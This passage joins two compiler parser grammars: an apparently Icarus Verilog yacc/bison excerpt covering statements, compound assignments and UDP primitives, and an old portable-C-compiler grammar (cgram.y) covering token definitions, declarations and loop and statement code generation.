assert($3->empty());
PAssignNB*tmp = new PAssignNB($1,del,$4);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue '=' event_control expression ';'
{ PAssign*tmp = new PAssign($1,0,$3,$4);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue '=' K_repeat '(' expression ')' event_control expression ';'
{ PAssign*tmp = new PAssign($1,$5,$7,$8);
FILE_NAME(tmp,@1);
tmp->set_lineno(@1.first_line);
$$ = tmp;
}
| lpvalue K_LE event_control expression ';'
{ PAssignNB*tmp = new PAssignNB($1,0,$3,$4);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_LE K_repeat '(' expression ')' event_control expression ';'
{ PAssignNB*tmp = new PAssignNB($1,$5,$7,$8);
FILE_NAME(tmp, @1);
$$ = tmp;
}
/* The IEEE1800 standard defines dynamic_array_new assignment as a
different rule from regular assignment. That implies that the
dynamic_array_new is not an expression in general, which makes
some sense. Elaboration should make sure the lpvalue is an array name. */
| lpvalue '=' dynamic_array_new ';'
{ PAssign*tmp = new PAssign($1,$3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
/* The class new and dynamic array new expressions are special, so
sit in rules of their own. */
| lpvalue '=' class_new ';'
{ PAssign*tmp = new PAssign($1,$3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_wait '(' expression ')' statement_or_null
{ PEventStatement*tmp;
PEEvent*etmp = new PEEvent(PEEvent::POSITIVE, $3);
tmp = new PEventStatement(etmp);
FILE_NAME(tmp,@1);
tmp->set_statement($5);
$$ = tmp;
}
| K_wait K_fork ';'
{ PEventStatement*tmp = new PEventStatement(0);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| SYSTEM_IDENTIFIER '(' expression_list_with_nuls ')' ';'
{ PCallTask*tmp = new PCallTask(lex_strings.make($1), *$3);
FILE_NAME(tmp,@1);
delete[]$1;
delete $3;
$$ = tmp;
}
| SYSTEM_IDENTIFIER ';'
{ list<PExpr*>pt;
PCallTask*tmp = new PCallTask(lex_strings.make($1), pt);
FILE_NAME(tmp,@1);
delete[]$1;
$$ = tmp;
}
| hierarchy_identifier '(' expression_list_with_nuls ')' ';'
{ PCallTask*tmp = pform_make_call_task(@1, *$1, *$3);
delete $1;
delete $3;
$$ = tmp;
}
| hierarchy_identifier K_with '{' constraint_block_item_list_opt '}' ';'
{ /* ....randomize with { <constraints> } */
if ($1 && peek_tail_name(*$1) == "randomize") {
if (!gn_system_verilog())
yyerror(@2, "error: Randomize with constraint requires SystemVerilog.");
else
yyerror(@2, "sorry: Randomize with constraint not supported.");
} else {
yyerror(@2, "error: Constraint block can only be applied to randomize method.");
}
list<PExpr*>pt;
PCallTask*tmp = new PCallTask(*$1, pt);
FILE_NAME(tmp, @1);
delete $1;
$$ = tmp;
}
| implicit_class_handle '.' hierarchy_identifier '(' expression_list_with_nuls ')' ';'
{ pform_name_t*t_name = $1;
while (! $3->empty()) {
t_name->push_back($3->front());
$3->pop_front();
}
PCallTask*tmp = new PCallTask(*t_name, *$5);
FILE_NAME(tmp, @1);
delete $1;
delete $3;
delete $5;
$$ = tmp;
}
| hierarchy_identifier ';'
{ list<PExpr*>pt;
PCallTask*tmp = pform_make_call_task(@1, *$1, pt);
delete $1;
$$ = tmp;
}
/* IEEE1800 A.1.8: class_constructor_declaration with a call to
parent constructor. Note that the implicit_class_handle must
be K_super ("this.new" makes little sense) but that would
cause a conflict. Anyhow, this statement must be in the
beginning of a constructor, but let the elaborator figure that
out. */
| implicit_class_handle '.' K_new '(' expression_list_with_nuls ')' ';'
{ PChainConstructor*tmp = new PChainConstructor(*$5);
FILE_NAME(tmp, @3);
delete $1;
$$ = tmp;
}
| hierarchy_identifier '(' error ')' ';'
{ yyerror(@3, "error: Syntax error in task arguments.");
list<PExpr*>pt;
PCallTask*tmp = pform_make_call_task(@1, *$1, pt);
delete $1;
$$ = tmp;
}
| error ';'
{ yyerror(@2, "error: malformed statement");
yyerrok;
$$ = new PNoop;
}
;
compressed_statement
: lpvalue K_PLUS_EQ expression
{ PAssign*tmp = new PAssign($1, '+', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_MINUS_EQ expression
{ PAssign*tmp = new PAssign($1, '-', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_MUL_EQ expression
{ PAssign*tmp = new PAssign($1, '*', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_DIV_EQ expression
{ PAssign*tmp = new PAssign($1, '/', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_MOD_EQ expression
{ PAssign*tmp = new PAssign($1, '%', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_AND_EQ expression
{ PAssign*tmp = new PAssign($1, '&', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_OR_EQ expression
{ PAssign*tmp = new PAssign($1, '|', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_XOR_EQ expression
{ PAssign*tmp = new PAssign($1, '^', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_LS_EQ expression
{ PAssign *tmp = new PAssign($1, 'l', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_RS_EQ expression
{ PAssign*tmp = new PAssign($1, 'r', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| lpvalue K_RSS_EQ expression
{ PAssign *tmp = new PAssign($1, 'R', $3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
statement_or_null_list_opt
: statement_or_null_list
{ $$ = $1; }
|
{ $$ = 0; }
;
statement_or_null_list
: statement_or_null_list statement_or_null
{ vector<Statement*>*tmp = $1;
if ($2) tmp->push_back($2);
$$ = tmp;
}
| statement_or_null
{ vector<Statement*>*tmp = new vector<Statement*>(0);
if ($1) tmp->push_back($1);
$$ = tmp;
}
;
analog_statement
: branch_probe_expression K_CONTRIBUTE expression ';'
{ $$ = pform_contribution_statement(@2, $1, $3); }
;
/* Task items are, other than the statement, task port items and
other block items. */
task_item
: block_item_decl { $$ = new vector<pform_tf_port_t>(0); }
| tf_port_declaration { $$ = $1; }
;
task_item_list
: task_item_list task_item
{ vector<pform_tf_port_t>*tmp = $1;
size_t s1 = tmp->size();
tmp->resize(s1 + $2->size());
for (size_t idx = 0 ; idx < $2->size() ; idx += 1)
tmp->at(s1 + idx) = $2->at(idx);
delete $2;
$$ = tmp;
}
| task_item
{ $$ = $1; }
;
task_item_list_opt
: task_item_list
{ $$ = $1; }
|
{ $$ = 0; }
;
tf_port_list_opt
: tf_port_list { $$ = $1; }
| { $$ = 0; }
;
/* Note that the lexor notices the "table" keyword and starts
the UDPTABLE state. It needs to happen there so that all the
characters in the table are interpreted in that mode. It is still
up to this rule to take us out of the UDPTABLE state. */
udp_body
: K_table udp_entry_list K_endtable
{ lex_end_table();
$$ = $2;
}
| K_table K_endtable
{ lex_end_table();
yyerror(@1, "error: Empty UDP table.");
$$ = 0;
}
| K_table error K_endtable
{ lex_end_table();
yyerror(@2, "Errors in UDP table");
yyerrok;
$$ = 0;
}
;
udp_entry_list
: udp_comb_entry_list
| udp_sequ_entry_list
;
udp_comb_entry
: udp_input_list ':' udp_output_sym ';'
{ char*tmp = new char[strlen($1)+3];
strcpy(tmp, $1);
char*tp = tmp+strlen(tmp);
*tp++ = ':';
*tp++ = $3;
*tp++ = 0;
delete[]$1;
$$ = tmp;
}
;
udp_comb_entry_list
: udp_comb_entry
{ list<string>*tmp = new list<string>;
tmp->push_back($1);
delete[]$1;
$$ = tmp;
}
| udp_comb_entry_list udp_comb_entry
{ list<string>*tmp = $1;
tmp->push_back($2);
delete[]$2;
$$ = tmp;
}
;
udp_sequ_entry_list
: udp_sequ_entry
{ list<string>*tmp = new list<string>;
tmp->push_back($1);
delete[]$1;
$$ = tmp;
}
| udp_sequ_entry_list udp_sequ_entry
{ list<string>*tmp = $1;
tmp->push_back($2);
delete[]$2;
$$ = tmp;
}
;
udp_sequ_entry
: udp_input_list ':' udp_input_sym ':' udp_output_sym ';'
{ char*tmp = new char[strlen($1)+5];
strcpy(tmp, $1);
char*tp = tmp+strlen(tmp);
*tp++ = ':';
*tp++ = $3;
*tp++ = ':';
*tp++ = $5;
*tp++ = 0;
$$ = tmp;
}
;
udp_initial
: K_initial IDENTIFIER '=' number ';'
{ PExpr*etmp = new PENumber($4);
PEIdent*itmp = new PEIdent(lex_strings.make($2));
PAssign*atmp = new PAssign(itmp, etmp);
FILE_NAME(atmp, @2);
delete[]$2;
$$ = atmp;
}
;
udp_init_opt
: udp_initial { $$ = $1; }
| { $$ = 0; }
;
udp_input_list
: udp_input_sym
{ char*tmp = new char[2];
tmp[0] = $1;
tmp[1] = 0;
$$ = tmp;
}
| udp_input_list udp_input_sym
{ char*tmp = new char[strlen($1)+2];
strcpy(tmp, $1);
char*tp = tmp+strlen(tmp);
*tp++ = $2;
*tp++ = 0;
delete[]$1;
$$ = tmp;
}
;
udp_input_sym
: '0' { $$ = '0'; }
| '1' { $$ = '1'; }
| 'x' { $$ = 'x'; }
| '?' { $$ = '?'; }
| 'b' { $$ = 'b'; }
| '*' { $$ = '*'; }
| '%' { $$ = '%'; }
| 'f' { $$ = 'f'; }
| 'F' { $$ = 'F'; }
| 'l' { $$ = 'l'; }
| 'h' { $$ = 'h'; }
| 'B' { $$ = 'B'; }
| 'r' { $$ = 'r'; }
| 'R' { $$ = 'R'; }
| 'M' { $$ = 'M'; }
| 'n' { $$ = 'n'; }
| 'N' { $$ = 'N'; }
| 'p' { $$ = 'p'; }
| 'P' { $$ = 'P'; }
| 'Q' { $$ = 'Q'; }
| 'q' { $$ = 'q'; }
| '_' { $$ = '_'; }
| '+' { $$ = '+'; }
| DEC_NUMBER { yyerror(@1, "internal error: Input digits parse as decimal number!"); $$ = '0'; }
;
udp_output_sym
: '0' { $$ = '0'; }
| '1' { $$ = '1'; }
| 'x' { $$ = 'x'; }
| '-' { $$ = '-'; }
| DEC_NUMBER { yyerror(@1, "internal error: Output digits parse as decimal number!"); $$ = '0'; }
;
/* Port declarations create wires for the inputs and the output. The
makes for these ports are scoped within the UDP, so there is no
hierarchy involved. */
udp_port_decl
: K_input list_of_identifiers ';'
{ $$ = pform_make_udp_input_ports($2); }
| K_output IDENTIFIER ';'
{ perm_string pname = lex_strings.make($2);
PWire*pp = new PWire(pname, NetNet::IMPLICIT, NetNet::POUTPUT, IVL_VT_LOGIC);
vector<PWire*>*tmp = new vector<PWire*>(1);
(*tmp)[0] = pp;
$$ = tmp;
delete[]$2;
}
| K_reg IDENTIFIER ';'
{ perm_string pname = lex_strings.make($2);
PWire*pp = new PWire(pname, NetNet::REG, NetNet::PIMPLICIT, IVL_VT_LOGIC);
vector<PWire*>*tmp = new vector<PWire*>(1);
(*tmp)[0] = pp;
$$ = tmp;
delete[]$2;
}
| K_reg K_output IDENTIFIER ';'
{ perm_string pname = lex_strings.make($3);
PWire*pp = new PWire(pname, NetNet::REG, NetNet::POUTPUT, IVL_VT_LOGIC);
vector<PWire*>*tmp = new vector<PWire*>(1);
(*tmp)[0] = pp;
$$ = tmp;
delete[]$3;
}
;
udp_port_decls
: udp_port_decl
{ $$ = $1; }
| udp_port_decls udp_port_decl
{ vector<PWire*>*tmp = $1;
size_t s1 = $1->size();
tmp->resize(s1+$2->size());
for (size_t idx = 0 ; idx < $2->size() ; idx += 1)
tmp->at(s1+idx) = $2->at(idx);
$$ = tmp;
delete $2;
}
;
udp_port_list
: IDENTIFIER
{ list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($1));
delete[]$1;
$$ = tmp;
}
| udp_port_list ',' IDENTIFIER
{ list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($3));
delete[]$3;
$$ = tmp;
}
;
udp_reg_opt: K_reg { $$ = true; } | { $$ = false; };
udp_initial_expr_opt
: '=' expression { $$ = $2; }
| { $$ = 0; }
;
udp_input_declaration_list
: K_input IDENTIFIER
{ list<perm_string>*tmp = new list<perm_string>;
tmp->push_back(lex_strings.make($2));
$$ = tmp;
delete[]$2;
}
| udp_input_declaration_list ',' K_input IDENTIFIER
{ list<perm_string>*tmp = $1;
tmp->push_back(lex_strings.make($4));
$$ = tmp;
delete[]$4;
}
;
udp_primitive
/* This is the syntax for primitives that uses the IEEE1364-1995
format. The ports are simply names in the port list, and the
declarations are in the body. */
: K_primitive IDENTIFIER '(' udp_port_list ')' ';'
udp_port_decls
udp_init_opt
udp_body
K_endprimitive endlabel_opt
{ perm_string tmp2 = lex_strings.make($2);
pform_make_udp(tmp2, $4, $7, $9, $8,
@2.text, @2.first_line);
if ($11) {
if (strcmp($2,$11) != 0) {
yyerror(@11, "error: End label doesn't match "
"primitive name");
}
if (! gn_system_verilog()) {
yyerror(@11, "error: Primitive end labels "
"require SystemVerilog.");
}
delete[]$11;
}
delete[]$2;
}
/* This is the syntax for IEEE1364-2001 format definitions. The port
names and declarations are all in the parameter list. */
| K_primitive IDENTIFIER
'(' K_output udp_reg_opt IDENTIFIER udp_initial_expr_opt ','
udp_input_declaration_list ')' ';'
udp_body
K_endprimitive endlabel_opt
{ perm_string tmp2 = lex_strings.make($2);
perm_string tmp6 = lex_strings.make($6);
pform_make_udp(tmp2, $5, tmp6, $7, $9, $12,
@2.text, @2.first_line);
if ($14) {
if (strcmp($2,$14) != 0) {
yyerror(@14, "error: End label doesn't match "
"primitive name");
}
if (! gn_system_verilog()) {
yyerror(@14, "error: Primitive end labels "
"require SystemVerilog.");
}
delete[]$14;
}
delete[]$2;
delete[]$6;
}
;
/* Many keywords can be optional in the syntax, although their
presence is significant. This is a fairly common pattern so
collect those rules here. */
K_packed_opt : K_packed { $$ = true; } | { $$ = false; } ;
K_reg_opt : K_reg { $$ = true; } | { $$ = false; } ;
K_static_opt : K_static { $$ = true; } | { $$ = false; } ;
K_virtual_opt : K_virtual { $$ = true; } | { $$ = false; } ;
|
<reponame>sergev/vak-opensource
/* @(#)cgram.y 1.7 */
/******/
/* Note: In this file there are comments of the form
/* /*CXREF <line-of-code> */
/* When this file is used to build cxref, the beginning
/* of the comment and the CXREF are removed along with
/* the trailing end of the comment. Therefore, these
/* comments cannot be removed with out changing cxref's
/* version of this file.
/******/
%term NAME 2
%term STRING 3
%term ICON 4
%term FCON 5
%term PLUS 6
%term MINUS 8
%term MUL 11
%term AND 14
%term OR 17
%term ER 19
%term QUEST 21
%term COLON 22
%term ANDAND 23
%term OROR 24
/* special interfaces for yacc alone */
/* These serve as abbreviations of 2 or more ops:
ASOP =, = ops
RELOP LE,LT,GE,GT
EQUOP EQ,NE
DIVOP DIV,MOD
SHIFTOP LS,RS
ICOP ICR,DECR
UNOP NOT,COMPL
STROP DOT,STREF
*/
%term ASOP 25
%term RELOP 26
%term EQUOP 27
%term DIVOP 28
%term SHIFTOP 29
%term INCOP 30
%term UNOP 31
%term STROP 32
/* reserved words, etc */
%term TYPE 33
%term CLASS 34
%term STRUCT 35
%term RETURN 36
%term GOTO 37
%term IF 38
%term ELSE 39
%term SWITCH 40
%term BREAK 41
%term CONTINUE 42
%term WHILE 43
%term DO 44
%term FOR 45
%term DEFAULT 46
%term CASE 47
%term SIZEOF 48
%term ENUM 49
/* little symbols, etc. */
/* namely,
LP (
RP )
LC {
RC }
LB [
RB ]
CM ,
SM ;
*/
%term LP 50
%term RP 51
%term LC 52
%term RC 53
%term LB 54
%term RB 55
%term CM 56
%term SM 57
%term ASSIGN 58
%term ASM 59
/* at last count, there were 7 shift/reduce, 1 reduce/reduce conflicts
/* these involved:
if/else
recognizing functions in various contexts, including declarations
error recovery
*/
%left CM
%right ASOP ASSIGN
%right QUEST COLON
%left OROR
%left ANDAND
%left OR
%left ER
%left AND
%left EQUOP
%left RELOP
%left SHIFTOP
%left PLUS MINUS
%left MUL DIVOP
%right UNOP
%right INCOP SIZEOF
%left LB LP STROP
%{
# include "mfile1"
# include "messages.h"
%}
/* define types */
%start ext_def_list
%type <intval> con_e ifelprefix ifprefix doprefix switchpart
enum_head str_head name_lp
%type <nodep> e .e term attributes oattributes type enum_dcl struct_dcl
cast_type null_decl funct_idn declarator fdeclarator nfdeclarator
elist
%token <intval> CLASS NAME STRUCT RELOP CM DIVOP PLUS MINUS SHIFTOP MUL AND OR ER ANDAND OROR
ASSIGN STROP INCOP UNOP ICON
%token <nodep> TYPE
%%
%{
extern int wloop_level; /* specifies while loop code generation */
extern int floop_level; /* specifies for loop code generation */
static int fake = 0;
#ifdef FLEXNAMES
static char fakename[24]; /* room enough for pattern */
#else
static char fakename[NCHNAM+1];
#endif
%}
ext_def_list: ext_def_list external_def
|
{
beg_file(); /* do implementation dep. stuff now */
ftnend();
}
;
external_def: data_def
={ curclass = SNULL; blevel = 0; }
| error
={ curclass = SNULL; blevel = 0; }
| ASM SM
{ asmout(); curclass = SNULL; blevel = 0; }
;
data_def:
oattributes SM
={ $1->in.op = FREE; }
| oattributes init_dcl_list SM
={ $1->in.op = FREE; }
| oattributes fdeclarator {
defid( tymerge($1,$2), curclass==STATIC?STATIC:EXTDEF );
/*CXREF bbcode(); */
} function_body
={
if( blevel ) cerror( "function level error" );
if( reached ) retstat |= NRETVAL;
$1->in.op = FREE;
ftnend();
}
;
function_body: arg_dcl_list compoundstmt
;
arg_dcl_list: arg_dcl_list declaration
| ={ blevel = 1; }
;
stmt_list: stmt_list statement
| /* empty */
={ bccode();
locctr(PROG);
}
;
dcl_stat_list : dcl_stat_list attributes SM
={ $2->in.op = FREE; }
| dcl_stat_list attributes init_dcl_list SM
={ $2->in.op = FREE; }
| /* empty */
;
declaration: attributes declarator_list SM
={ curclass = SNULL; $1->in.op = FREE; }
| attributes SM
={ curclass = SNULL; $1->in.op = FREE; }
| error SM
={ curclass = SNULL; }
;
oattributes: attributes
| /* VOID */
={ $$ = mkty(INT,0,INT); curclass = SNULL; }
;
attributes: class type
={ $$ = $2; }
| type class
| class
={ $$ = mkty(INT,0,INT); }
| type
={ curclass = SNULL ; }
| type class type
={ $1->in.type =
types( $1->in.type, $3->in.type, UNDEF );
$3->in.op = FREE;
}
;
class: CLASS
={ curclass = $1; }
;
type: TYPE
| TYPE TYPE
={ $1->in.type = types( $1->in.type, $2->in.type, UNDEF );
$2->in.op = FREE;
}
| TYPE TYPE TYPE
={ $1->in.type = types( $1->in.type, $2->in.type, $3->in.type );
$2->in.op = $3->in.op = FREE;
}
| struct_dcl
| enum_dcl
;
enum_dcl: enum_head LC moe_list optcomma RC
={ $$ = dclstruct($1); }
| ENUM NAME
={ $$ = rstruct($2,0); stwart = instruct;
/*CXREF ref($2, lineno); */ }
;
enum_head: ENUM
={ $$ = bstruct(-1,0); stwart = SEENAME; }
| ENUM NAME
={ $$ = bstruct($2,0); stwart = SEENAME;
/*CXREF ref($2, lineno); */ }
;
moe_list: moe
| moe_list CM moe
;
moe: NAME
={ moedef( $1 ); /*CXREF def($1, lineno); */ }
| NAME ASSIGN con_e
={ strucoff = $3; moedef( $1 );
/*CXREF def($1, lineno); */ }
;
struct_dcl: str_head LC type_dcl_list optsemi RC
={ $$ = dclstruct($1); }
| STRUCT NAME
={ $$ = rstruct($2,$1); /*CXREF ref($2, lineno); */ }
;
str_head: STRUCT
={ $$ = bstruct(-1,$1); stwart=0; }
| STRUCT NAME
={ $$ = bstruct($2,$1); stwart=0;
/*CXREF def($2, lineno); */ }
;
type_dcl_list: type_declaration
| type_dcl_list SM type_declaration
;
type_declaration: type declarator_list
={ curclass = SNULL; stwart=0; $1->in.op = FREE; }
| type
={ if( curclass != MOU ){
curclass = SNULL;
}
else {
sprintf( fakename, "$%dFAKE", fake++ );
/*
* We will not be looking up this name in the
* symbol table, so there is no reason to save
* it anywhere. (I think.)
*/
defid( tymerge($1,
bdty(NAME,NIL,
lookup( fakename, SMOS ))), curclass );
/*"structure typed union member must be named"*/
WERROR(MESSAGE( 106 ));
}
stwart = 0;
$1->in.op = FREE;
}
;
declarator_list: declarator
={ defid( tymerge($<nodep>0,$1), curclass); stwart = instruct; }
| declarator_list CM {$<nodep>$=$<nodep>0;} declarator
={ defid( tymerge($<nodep>0,$4), curclass); stwart = instruct; }
;
declarator: fdeclarator
| nfdeclarator
| nfdeclarator COLON con_e
%prec CM
/* "field outside of structure" */
={ if( !(instruct&INSTRUCT) ) UERROR( MESSAGE( 38 ) );
if( $3<0 || $3 >= FIELD ){
/* "illegal field size" */
UERROR( MESSAGE( 56 ) );
$3 = 1;
}
defid( tymerge($<nodep>0,$1), FIELD|$3 );
$$ = NIL;
}
| COLON con_e
%prec CM
/* "field outside of structure" */
={ if( !(instruct&INSTRUCT) ) UERROR( MESSAGE( 38 ) );
falloc( stab, $2, -1, $<nodep>0 ); /* alignment or hole */
$$ = NIL;
}
| error
={ $$ = NIL; }
;
/* int (a)(); is not a function --- sorry! */
nfdeclarator: MUL nfdeclarator
={ umul:
$$ = bdty( UNARY MUL, $2, 0 ); }
| nfdeclarator LP RP
={ uftn:
$$ = bdty( UNARY CALL, $1, 0 ); }
| nfdeclarator LB RB
={ uary:
$$ = bdty( LB, $1, 0 ); }
| nfdeclarator LB con_e RB
={ bary:
/* "zero or negative subscript" */
if( (int)$3 <= 0 ) WERROR( MESSAGE( 119 ) );
$$ = bdty( LB, $1, $3 ); }
| NAME
={ $$ = bdty( NAME, NIL, $1 );
/*CXREF def($1, lineno); */ }
| LP nfdeclarator RP
={ $$=$2; }
;
fdeclarator: MUL fdeclarator
={ goto umul; }
| fdeclarator LP RP
={ goto uftn; }
| fdeclarator LB RB
={ goto uary; }
| fdeclarator LB con_e RB
={ goto bary; }
| LP fdeclarator RP
={ $$ = $2; }
| name_lp
{if(paramno)uerror("arg list in declaration");}
name_list RP
/* we can't deal with args in declarations of funcs */
/* this is patch of a botch in the rules: char f(p); */
={
/* "function declaration in bad context" */
if( blevel!=0 ) UERROR(MESSAGE( 44 ));
$$ = bdty( UNARY CALL, bdty(NAME,NIL,$1), 0 );
stwart = 0;
}
| name_lp {if(paramno)uerror("arg list in declaration");} RP
={
$$ = bdty( UNARY CALL, bdty(NAME,NIL,$1), 0 );
stwart = 0;
}
;
name_lp: NAME LP
={
/* turn off typedefs for argument names */
/*CXREF newf($1, lineno); def($1, lineno); */
stwart = SEENAME;
if( stab[$1].sclass == SNULL )
stab[$1].stype = FTN;
}
;
name_list: NAME
={ ftnarg( $1 ); stwart = SEENAME;
/*CXREF ref($1, lineno); */ }
| name_list CM NAME
={ ftnarg( $3 ); stwart = SEENAME;
/*CXREF ref($3, lineno); */ }
| error
;
/* always preceeded by attributes: thus the $<nodep>0's */
init_dcl_list: init_declarator
%prec CM
| init_dcl_list CM {$<nodep>$=$<nodep>0;} init_declarator
;
/* always preceeded by attributes */
xnfdeclarator: nfdeclarator
={ defid( $1 = tymerge($<nodep>0,$1), curclass);
beginit($1->tn.rval);
}
| error
;
/* always preceeded by attributes */
init_declarator: nfdeclarator
={ nidcl( tymerge($<nodep>0,$1) ); }
| fdeclarator
={ defid( tymerge($<nodep>0,$1), uclass(curclass) );
}
/* old init is out
| xnfdeclarator optasgn e
%prec CM
={ doinit( $3 );
endinit(); }
| xnfdeclarator optasgn LC init_list optcomma RC
={ endinit(); }
*/
| xnfdeclarator ASSIGN e
%prec CM
={ doinit( $3 );
endinit(); }
| xnfdeclarator ASSIGN LC init_list optcomma RC
={ endinit(); }
| error
;
init_list: initializer
%prec CM
| init_list CM initializer
;
initializer: e
%prec CM
={ doinit( $1 ); }
| ibrace init_list optcomma RC
={ irbrace(); }
;
optcomma : /* VOID */
| CM
;
optsemi : /* VOID */
| SM
;
/* old init is out
optasgn : /* VOID */
/* "old-fashioned initialization: use =" */
/*
={ WERROR( MESSAGE( 88 ) ); }
| ASSIGN
;
*/
ibrace : LC
={ ilbrace(); }
;
/* STATEMENTS */
compoundstmt: begin dcl_stat_list stmt_list RC
={ --blevel;
/*CXREF becode(); */
if( blevel == 1 ) blevel = 0;
clearst( blevel );
cleardim();
checkst( blevel );
autooff = *--psavbc;
regvar = *--psavbc;
}
;
begin: LC
={ setdim();
if( blevel == 1 ) dclargs();
/*CXREF else if (blevel > 1) bbcode(); */
++blevel;
if( psavbc > &asavbc[BCSZ-2] ) cerror( "nesting too deep" );
*psavbc++ = regvar;
*psavbc++ = autooff;
}
;
statement: e SM
={ ecomp( $1 ); }
| ASM SM
{ asmout(); }
| compoundstmt
| ifprefix statement
={ deflab($1);
reached = 1;
}
| ifelprefix statement
={ if( $1 != NOLAB ){
deflab( $1 );
reached = 1;
}
}
| WHILE LP e RP
{
savebc();
if (!reached)
/* "loop not entered at top" */
WERROR(MESSAGE(75));
reached = 1;
brklab = getlab();
contlab = getlab();
switch (wloop_level)
{
default:
cerror("bad while loop code gen value");
/*NOTREACHED*/
case LL_TOP: /* test at loop top */
deflab(contlab);
if ($3->in.op == ICON &&
$3->tn.lval != 0)
{
flostat = FLOOP;
tfree($3);
}
else
ecomp(buildtree(CBRANCH, $3,
bcon((CONSZ) brklab)));
break;
case LL_BOT: /* test at loop bottom */
if ($3->in.op == ICON &&
$3->tn.lval != 0)
{
flostat = FLOOP;
tfree($3);
deflab(contlab);
}
else
{
branch(contlab);
deflab($<intval>$ = getlab());
}
break;
case LL_DUP: /* dup. test at top & bottom */
if ($3->in.op == ICON &&
$3->tn.lval != 0)
{
flostat = FLOOP;
tfree($3);
deflab($<intval>$ = contlab);
}
else
{
#ifndef LINT
register NODE *sav;
extern NODE *tcopy();
sav = tcopy($3);
ecomp(buildtree(CBRANCH,$3,
bcon((CONSZ) brklab)));
$3 = sav;
#endif
deflab($<intval>$ = getlab());
}
break;
}
}
statement
{
switch (wloop_level)
{
default:
cerror("bad while loop code gen. value");
/*NOTREACHED*/
case LL_TOP: /* test at loop top */
branch(contlab);
break;
case LL_BOT: /* test at loop bottom */
if (flostat & FLOOP)
branch(contlab);
else
{
reached = 1;
deflab(contlab);
ecomp(buildtree(CBRANCH,
buildtree(NOT, $3, NIL),
bcon((CONSZ) $<intval>5)));
}
break;
case LL_DUP: /* dup. test at top & bottom */
if (flostat & FLOOP)
branch(contlab);
else
{
if (flostat & FCONT)
{
reached = 1;
deflab(contlab);
}
ecomp(buildtree(CBRANCH,
buildtree(NOT, $3, NIL),
bcon((CONSZ) $<intval>5)));
}
break;
}
if ((flostat & FBRK) || !(flostat & FLOOP))
reached = 1;
else
reached = 0;
deflab(brklab);
resetbc(0);
}
| doprefix statement WHILE LP e RP SM
={ deflab( contlab );
if( flostat & FCONT ) reached = 1;
ecomp( buildtree( CBRANCH, buildtree( NOT, $5, NIL ), bcon( (CONSZ) $1 ) ) );
deflab( brklab );
reached = 1;
resetbc(0);
}
| FOR LP .e SM .e SM
{
if ($3)
ecomp($3);
else if (!reached)
/* "loop not entered at top" */
WERROR(MESSAGE(75));
savebc();
contlab = getlab();
brklab = getlab();
reached = 1;
switch (floop_level)
{
default:
cerror("bad for loop code gen. value");
/*NOTREACHED*/
case LL_TOP: /* test at loop top */
deflab($<intval>$ = getlab());
if (!$5)
flostat |= FLOOP;
else if ($5->in.op == ICON &&
$5->tn.lval != 0)
{
flostat |= FLOOP;
tfree($5);
$5 = (NODE *)0;
}
else
ecomp(buildtree(CBRANCH, $5,
bcon((CONSZ) brklab)));
break;
case LL_BOT: /* test at loop bottom */
if (!$5)
flostat |= FLOOP;
else if ($5->in.op == ICON &&
$5->tn.lval != 0)
{
flostat |= FLOOP;
tfree($5);
$5 = (NODE *)0;
}
else
branch($<intval>1 = getlab());
deflab($<intval>$ = getlab());
break;
case LL_DUP: /* dup. test at top & bottom */
if (!$5)
flostat |= FLOOP;
else if ($5->in.op == ICON &&
$5->tn.lval != 0)
{
flostat |= FLOOP;
tfree($5);
$5 = (NODE *)0;
}
else
{
#ifndef LINT
register NODE *sav;
extern NODE *tcopy();
sav = tcopy($5);
ecomp(buildtree(CBRANCH, $5,
bcon((CONSZ) brklab)));
$5 = sav;
#endif
}
deflab($<intval>$ = getlab());
break;
}
}
.e RP statement
{
if (flostat & FCONT)
{
deflab(contlab);
reached = 1;
}
if ($8)
ecomp($8);
switch (floop_level)
{
default:
cerror("bad for loop code gen. value");
/*NOTREACHED*/
case LL_TOP: /* test at loop top */
branch($<intval>7);
break;
case LL_BOT: /* test at loop bottom */
if ($5)
deflab($<intval>1);
/*FALLTHROUGH*/
case LL_DUP: /* dup. test at top & bottom */
if ($5)
{
ecomp(buildtree(CBRANCH,
buildtree(NOT, $5, NIL),
bcon((CONSZ) $<intval>7)));
}
else
branch($<intval>7);
break;
}
deflab(brklab);
if ((flostat & FBRK) || !(flostat & FLOOP))
reached = 1;
else
reached = 0;
resetbc(0);
}
| switchpart statement
={ if( reached ) branch( brklab );
deflab( $1 );
swend();
deflab(brklab);
if( (flostat&FBRK) || !(flostat&FDEF) ) reached = 1;
resetbc(FCONT);
}
| BREAK SM
/* "illegal break" */
={ if( brklab == NOLAB ) UERROR( MESSAGE( 50 ));
else if(reached) branch( brklab );
flostat |= FBRK;
if( brkflag ) goto rch;
reached = 0;
}
| CONTINUE SM
/* "illegal continue" */
={ if( contlab == NOLAB ) UERROR( MESSAGE( 55 ));
else branch( contlab );
flostat |= FCONT;
goto rch;
}
| RETURN SM
={ retstat |= NRETVAL;
branch( retlab );
rch:
/* "statement not reached" */
if( !reached && !reachflg ) WERROR( MESSAGE( 100 ));
reached = 0;
reachflg = 0;
}
| RETURN e SM
={ register NODE *temp;
idname = curftn;
temp = buildtree( NAME, NIL, NIL );
if(temp->in.type == TVOID)
/* "void function %s cannot return value" */
UERROR(MESSAGE( 116 ),
stab[idname].sname);
temp->in.type = DECREF( temp->in.type );
temp = buildtree( RETURN, temp, $2 );
